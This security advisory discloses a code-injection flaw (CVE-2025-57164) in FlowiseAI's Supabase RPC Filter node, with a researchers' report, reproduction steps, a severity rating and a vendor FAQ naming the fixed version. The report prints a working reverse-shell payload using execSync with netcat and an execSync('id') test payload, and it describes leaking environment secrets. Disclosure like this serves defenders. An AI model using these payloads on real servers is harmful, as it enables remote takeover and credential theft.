CVE-2025-57164

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

2. Login as an admin user.

3. Drag in a Supabase node and configure "Supabase RPC Filter".

4. Insert a malicious payload in the filter expression, such as:

   process.mainModule.require("child_process").execSync("id")

5. Trigger the chatbot or workflow to activate the node.

6. Observe execution of arbitrary code on the backend.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

• Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
• Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
• Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
• Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
• LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2025-57164 has a CVSS score of 9.1 (Critical). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-57164? CVE-2025-57164 is a critical-severity code injection vulnerability in flowise (npm), affecting versions = 3.0.5. It is fixed in 3.0.6. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2025-57164? CVE-2025-57164 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of flowise are affected by CVE-2025-57164? flowise (npm) versions = 3.0.5 is affected.
4. Is there a fix for CVE-2025-57164? Yes. CVE-2025-57164 is fixed in 3.0.6. Upgrade to this version or later.
5. Is CVE-2025-57164 exploitable, and should I be worried? Whether CVE-2025-57164 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-57164 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-57164? Upgrade flowise to 3.0.6 or later.